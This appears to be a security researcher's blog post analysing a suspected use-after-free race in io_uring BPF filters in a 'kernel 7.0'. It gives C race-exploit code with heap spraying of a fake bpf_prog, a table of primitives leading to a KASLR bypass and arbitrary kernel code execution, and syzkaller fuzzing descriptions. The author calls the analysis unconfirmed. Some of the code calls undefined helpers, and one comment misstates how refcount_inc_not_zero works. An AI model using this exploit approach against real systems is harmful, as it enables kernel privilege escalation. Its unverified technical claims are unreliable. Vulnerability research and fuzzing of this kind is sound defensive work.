BLUE DRAGON SECURITY

antonius – bluedragonsec.com – it security researcher – indonesia

Part 5. IO URING BPF FILTER UAF

01 The io_bpf_filter Structure in Kernel 7.0

```
/* New struct in K7 — does not exist in K6 */
struct io_bpf_filter {
    refcount_t            refs;       /* reference count */
    struct bpf_prog      *prog;       /* BPF program — important pointer */
    struct io_bpf_filter *next;       /* linked list → UAF vector */
};
```

Several important aspects of this struct:

- Linked list via next — each filter can chain to the next. If a node is freed while traversal is still in progress, this is a classic linked list UAF.
- bpf_prog *prog — pointer to the BPF program. Corrupting this pointer can redirect execution to an arbitrary address when the program is 'run'.
- refcount_t refs — reference counting. A race on the atomic refcount operation is one of the most common sources of UAF in modern kernels.

> ⚠ **NOTE**
> ANALYSIS NOTE: This analysis is based on structural code review of io_uring/bpf_filter.c in kernel 7.0. Specific vulnerabilities require further verification. This guide explains the attack surface — it is not a confirmed exploit.

02 Race Condition in io_bpf_filter_clone()

```
/* Clone function for COW: called when ring is modified */
static int io_bpf_filter_clone(struct io_ring_ctx *ctx)
{
    struct io_bpf_filter *filter, *new_head = NULL, **tail = &new_head;

    /* Traverse linked list of current filters */
    rcu_read_lock();
    filter = rcu_dereference(ctx->bpf_filter_head);

    while (filter) {
        struct io_bpf_filter *new_node = kmalloc(sizeof(*new_node),
GFP_ATOMIC);
        if (!new_node) { rcu_read_unlock(); return -ENOMEM; }

        /* RACE WINDOW: between rcu_dereference and refcount_inc */
        /* If filter is freed concurrently here → UAF on next line */
        if (!refcount_inc_not_zero(&filter->refs)) {
            /* Filter was freed — but we already have the pointer! */
            kfree(new_node);
            filter = filter->next;  /* ← accessing freed filter->next */
            continue;
        }
```

```
        /* ... */
    }
}
```

03 Linked List UAF Path

Classic scenario for a linked list UAF in io_bpf_filter:

- Setup: Create io_ring with 3 BPF filters: A → B → C
- Thread 1: Begin traversal (iterate filter list for evaluation)
- Thread 2: Remove filter B (decrement refcount → free B)
- Thread 1: After traversing A, access A->next = pointer to already-freed B
- UAF: Thread 1 reads B->prog from freed B → arbitrary value
- Exploit: Spray freed B's slot with an object containing a fake bpf_prog pointer → when the filter is 'run', execution is redirected

```
/* Setup: Create a 3-filter chain for io_ring */
int ring_fd = io_uring_setup(64, &params);

/* Attach BPF filters A, B, C */
io_uring_register(ring_fd, IORING_REGISTER_BPF_FILTER, filter_a,
sizeof(filter_a));
io_uring_register(ring_fd, IORING_REGISTER_BPF_FILTER, filter_b,
sizeof(filter_b));
io_uring_register(ring_fd, IORING_REGISTER_BPF_FILTER, filter_c,
sizeof(filter_c));

/* Thread 1: traverse (hold reference) */
/* Thread 2: remove B (concurrent) */
/* Result: Thread 1 holds freed pointer to B */
```

04 Exploit: refcount_inc_not_zero Race

```
/*
 * refcount_inc_not_zero race:
 * - Thread A checks refs != 0 → true
 * - Thread B concurrent refcount_dec → refs = 0 → free
 * - Thread A: refcount_inc_not_zero succeeds (uses stale value)
 * - Object is already freed but Thread A holds a valid reference
 * → Classic refcount UAF
 */

#include <pthread.h>

int ring_fd;
volatile int start_race = 0;

void *thread_decrement(void *arg) {
    while (!start_race);
    /* Trigger filter removal — causes refcount_dec_and_test */
    io_uring_unregister_bpf_filter(ring_fd, FILTER_B_IDX);
    return NULL;
}

void *thread_clone(void *arg) {
```

```
    while (!start_race);
    /* Trigger io_uring operation that calls io_bpf_filter_clone() */
    io_uring_submit_clone(ring_fd);
    return NULL;
}

void race_exploit() {
    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_decrement, NULL);
    pthread_create(&t2, NULL, thread_clone, NULL);

    /* Spray freed slot with fake bpf_prog */
    spray_fake_bpf_prog(sizeof(struct io_bpf_filter));

    start_race = 1;  /* ← fire! */
    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
}
```

05 Primitives Obtained from This Exploit

Condition	Primitive	Used For
UAF read on freed io_bpf_filter	Heap info leak	Leak kernel pointers → KASLR bypass
Spray freed slot with controlled data	Fake bpf_prog pointer	Redirect BPF program execution
Write to freed filter via race	Heap write (limited)	Corrupt target in same size class
bpf_prog->jit_func overwrite	Arbitrary code execution	Jump to ROP gadget or shellcode

06 Syzkaller Fuzzing Target for io_bpf_filter

```
# Syscall descriptions for io_uring BPF filter operations
# Target: io_uring/bpf_filter.c

resource io_uring_fd[fd]
resource bpf_prog_fd[fd]

io_uring_setup$bpf_filter(entries len[sqe_buf], params ptr[inout,
io_uring_params]) io_uring_fd
io_uring_register$bpf_filter(fd io_uring_fd, opcode
const[IORING_REGISTER_BPF_FILTER],
                             arg ptr[in, bpf_filter_config], nr_args len[arg])
(no_generate)
io_uring_unregister$bpf_filter(fd io_uring_fd, opcode
const[IORING_UNREGISTER_BPF_FILTER],
                               arg ptr[in, bpf_filter_idx], nr_args len[arg])
```

```
bpf_filter_config {
    prog_fd   bpf_prog_fd
    flags     flags[bpf_filter_flags, int32]
}

bpf_filter_flags = IORING_BPF_FILTER_ALLOW_ALL, IORING_BPF_FILTER_RESTRICTED
```